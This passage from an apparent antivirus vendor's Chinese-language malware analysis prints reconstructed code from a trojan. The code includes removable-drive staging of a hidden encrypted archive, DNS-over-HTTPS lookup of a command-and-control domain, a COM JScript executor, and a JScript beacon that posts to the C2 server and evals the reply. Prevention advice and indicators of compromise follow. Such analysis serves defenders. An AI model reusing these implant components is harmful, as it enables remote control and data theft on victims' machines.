  1. 解压hiberfil.db
  2. 重新压缩PageFile目录
  3. 用新压缩包覆盖原文件
{
    WCHAR RAR_EXTRACT_CMD[] = L"Rar.exe  x hiberfil.db  -y -hp123.av.va"; 
    WCHAR RAR_COMPRESS_CMD[] = L"Rar.exe  a hiberfil.db  PageFile -hp123.av.va"; 
    WCHAR HIBERFIL_DB[] = L"hiberfil.db"; 
    WCHAR NTUSER_DIR[] = L"NTUSER";
    WCHAR DRIVE_FORMAT[] = L"%s\\%s";
    WCHAR GLOBAL_PATH_FORMAT[] = L"%s\\PageFile";

    // 局部变量
    int driveTimeInfo[53] = {0};  // 存储各驱动器文件时间戳
    FILETIME lastWriteTime;
    PROCESS_INFORMATION procInfo;
    STARTUPINFOW startupInfo = {0};
    WCHAR driveList[80] = {0};   
    WCHAR filePath[262] = {0};   

    while (1) {
        EnterCriticalSection(&g_criticalSection);  // 进入临界区 

        if (query_drives(1, driveList); > 0) {   //查找可移动硬盘
            int driveIndex = 0;
            while (driveList[driveIndex]) {
                // 构造文件路径(如"H:\\hiberfil.db" )
                wsprintfW(filePath, DRIVE_FORMAT, &driveList[driveIndex], HIBERFIL_DB);

                // 检查文件时间戳
                HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ, 
                                          NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
                if (hFile != INVALID_HANDLE_VALUE) {
                    GetFileTime(hFile, NULL, NULL, &lastWriteTime);
                    CloseHandle(hFile);

                    // 比较时间差(900秒=15分钟)
                    ULONGLONG currentTime = GetCurrentFileTime();
                    ULONGLONG lastModified = ((ULONGLONG)lastWriteTime.dwHighDateTime  << 32) | lastWriteTime.dwLowDateTime; 

                    if ((currentTime - lastModified) > 900 * 10000000LL) {
                        // 文件更新处理
                        driveTimeInfo[driveIndex] = lastWriteTime.dwLowDateTime; 
                        driveTimeInfo[driveIndex+1] = lastWriteTime.dwHighDateTime; 

                        if (MoveFileExW(filePath, HIBERFIL_DB, MOVEFILE_REPLACE_EXISTING)) {
                            memset(&startupInfo, 0, sizeof(startupInfo));
                            startupInfo.cb  = sizeof(startupInfo);

                            // 解压文件
                            CreateProcessW(NULL, RAR_EXTRACT_CMD, NULL, NULL, FALSE, 
                                          CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &procInfo);
                            WaitForSingleObject(procInfo.hProcess, INFINITE);
                            CloseHandle(procInfo.hProcess);

                            DeleteFileW(HIBERFIL_DB);  // 清理临时文件 
                        }
                    }
                }
                driveIndex += wcslen(&driveList[driveIndex]) + 1;  // 跳到下一个驱动器
            }
        }

        // 定期压缩与同步
        PurgeExpiredFiles();  // 清理过期文件

        if (!g_skipCompressionFlag) { 
            DWORD attrib = GetFileAttributesW(NTUSER_DIR);
            if (attrib == INVALID_FILE_ATTRIBUTES || (attrib & FILE_ATTRIBUTE_DIRECTORY)) {
                WCHAR compressPath[MAX_PATH];
                wsprintfW(compressPath, GLOBAL_PATH_FORMAT, g_currentDirectory);

                // 执行压缩
                STARTUPINFOW compressStartup = {0};
                PROCESS_INFORMATION compressProc;
                CreateProcessW(NULL, RAR_COMPRESS_CMD, NULL, NULL, FALSE, 
                              CREATE_NO_WINDOW, NULL, NULL, &compressStartup, &compressProc);
                WaitForSingleObject(compressProc.hProcess, INFINITE);
                CloseHandle(compressProc.hProcess);

                // 设置隐藏/系统属性
                SetFileAttributesW(HIBERFIL_DB, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);

                // 同步到所有驱动器
                int syncIndex = 0;
                while (driveList[syncIndex]) {
                    wsprintfW(filePath, DRIVE_FORMAT, &driveList[syncIndex], HIBERFIL_DB);
                    CopyFileW(HIBERFIL_DB, filePath, TRUE);  // 覆盖现有文件
                    syncIndex += wcslen(&driveList[syncIndex]) + 1;
                }
                DeleteFileW(HIBERFIL_DB);
            }
        }

        LeaveCriticalSection(&g_criticalSection);区
        Sleep(60000);  // 休眠60秒
    }
}

  通过DNS over HTTPS (DoH)协议向两个公共DNS服务器(Cloudflare和Google)发送查询请求,解析指定域名,返回首个有效的IPv4地址

{
    // 初始化DNS服务器配置 
    const wchar_t* dns_servers[2] = { L"1.1.1.1", L"8.8.8.8" };
    const wchar_t* doh_endpoints[2] = { 
        L"/dns-query?name=%s&type=a", 
        L"/resolve?name=%s&type=a" 
    };
    const wchar_t* doh_hostnames[2] = { 
        L"one.one.one.one",  
        L"dns.google"  
    };

    unsigned int resolved_ip = 0;  // 解析结果 
    int server_index = 0;          // 当前尝试的服务器索引

    // 尝试每个DNS服务器 
    while (server_index < 2) {
        wchar_t url_path[256];
        // 构造查询URL:将域名插入API路径
        wsprintfW(url_path, doh_endpoints[server_index], L"azqutg.swintlsone.com");

        // 发送HTTPS请求并获取响应数据 
        DWORD response_size = 0;
        char response_buffer[2048];
        int success = SendDohRequest(
            dns_servers[server_index],  // DNS服务器地址 
            L"GET",                     // HTTP方法 
            L"application/dns-json",    // Accept头部 
            doh_hostnames[server_index],// HTTP Host头 
            url_path,                   // API路径
            response_buffer,            // 响应缓冲区
            &response_size              // 响应长度 
        );

        // 解析JSON响应
        if (success && response_size > 0) {
            int parse_state = 0;  // 0:找Answer 1:找type 2:找data
            for (int i = 0; i < response_size; i++) {
                switch (parse_state) {
                    case 0: // 查找"Answer":
                        if (strncmp(&response_buffer[i], "Answer\":", 8) == 0) {
                            parse_state = 1;
                            i += 7;  // 跳过已匹配部分 
                        }
                        break;
                    case 1: // 查找"type":1
                        if (strncmp(&response_buffer[i], "\"type\":1", 8) == 0) {
                            parse_state = 2;
                            i += 7;
                        }
                        break;
                    case 2: // 查找"data":" (IP地址字段)
                        if (strncmp(&response_buffer[i], "\"data\":\"", 8) == 0) {
                            parse_state = 3;
                            i += 8;
                            char* ip_start = &response_buffer[i]; // IP起始位置
                            while (i < response_size && response_buffer[i] != '"') i++;
                            response_buffer[i] = '\0'; // 截断IP字符串
                            resolved_ip = inet_addr(ip_start);
                            if (resolved_ip) return resolved_ip; // 成功解析 
                        }
                        break;
                }
            }
        }
        server_index++; // 尝试下一个服务器 
    }
    return 0; // 所有服务器均失败 
}

  通过COM接口执行JavaScript脚本

int ExecuteJScript(LPCOLESTR progID, LPCWSTR scriptContent) 
{
    CLSID clsid;                          // COM组件的CLSID 
    IActiveScript* pScriptEngine = NULL;  // JScript引擎接口指针
    IActiveScriptParse* pScriptParser = NULL; // 脚本解析接口指针
    IScriptSiteImpl* pScriptSite = NULL;  // 自定义脚本站点实现

    // 关键数据结构
    SCRIPT_METHOD_TABLE scriptCallbacks;  // 脚本回调函数表 
    SCRIPT_CALLBACK_FUNC callbackFuncs[11]; // 回调函数数组

    // 1. 获取JScript引擎的CLSID
    CLSIDFromProgID(progID, &clsid);

    // 2. 初始化COM库 
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

    // 3. 创建JScript引擎实例
    CoCreateInstance(
        &clsid, 
        NULL, 
        CLSCTX_INPROC_SERVER, 
        &IID_IActiveScript, 
        (void**)&pScriptEngine
    );

    // 4. 获取脚本解析接口
    pScriptEngine->QueryInterface(
        &IID_IActiveScriptParse, 
        (void**)&pScriptParser
    );

    // 5. 初始化脚本解析器
    pScriptParser->InitNew();

    // 6. 配置脚本回调函数表
    callbackFuncs[0] = GetActiveObjectCallback;
    callbackFuncs[1] = QueryInterfaceCallback;
    callbackFuncs[2] = AddRefCallback;
    callbackFuncs[3] = ReleaseCallback;
    callbackFuncs[4] = GetTypeInfoCallback;
    callbackFuncs[5] = GetDocStringCallback;
    callbackFuncs[6] = RequestItemsCallback;
    callbackFuncs[7] = GetItemInfoCallback;
    callbackFuncs[8] = GetLCIDCallback;
    callbackFuncs[9] = OnEnterScriptCallback;
    callbackFuncs[10] = OnLeaveScriptCallback;

    scriptCallbacks.pCallbackTable = callbackFuncs;
    scriptCallbacks.reserved1  = 0;
    scriptCallbacks.reserved2  = 0;

    // 7. 设置自定义脚本站点
    pScriptEngine->SetScriptSite((IActiveScriptSite*)&scriptCallbacks);

    // 8. 解析并执行脚本
    pScriptParser->ParseScriptText(
        scriptContent, 
        NULL, NULL, NULL, 
        0, 0, SCRIPTTEXT_ISVISIBLE, 
        NULL, NULL
    );

    // 9. 启动脚本执行 
    pScriptEngine->SetScriptState(SCRIPTSTATE_CONNECTED);

    // 10. 清理资源
    pScriptParser->Release();
    pScriptEngine->Close();
    return pScriptEngine->Release();
}

  通过WMI事件监听机制,每秒向远程服务器发送心跳请求并执行下发的任意JavaScript代码

var lt = GetObject("winmgmts:\\\\.\\root\\CIMV2").ExecNotificationQuery("SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_LocalTime'"), x = 1, f = "", u = "https://[解析的IPv4地址]/Check/Security.php", ws = new ActiveXObject("WScript.Shell"), s = "[SID]\r\r\r0\r\r\r";
while (1) {
    var h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    h.Option(4) = 13056;
    h.Open("POST", u, false);
    h.Send(s);
    if (x) {
        d = h.ResponseText;
    }
    eval(d);
    lt.NextEvent();
}

总结

  该样本设计呈现显著模块化特征,同时通过劫持合法工具(如msiexec.exe)执行恶意操作,大幅降低暴露风险。该样本旨在长期潜伏于目标系统,持续执行攻击者指令,对企业关键数据资产及个人隐私信息构成严重威胁,需引起高度重视并采取针对性防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    fcb9853eb6d6ac0a070935cf711e06a7
    ca6b1f3e3a2263909d10d65f165453e1
    b9a62f9c32dd245be35ebb826b9950cd
    144b18ab4c80a0f4dbee3eb46517ea10
  • Domain

    azqutg.swintlsone.com
  • IPV4

    152.42.225.184
  • 瑞星病毒名

    Trojan.Starter/LNK!1.13815
    Trojan.ShellCodeLoader!1.13821
    Stealer.Agent!1.13822

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *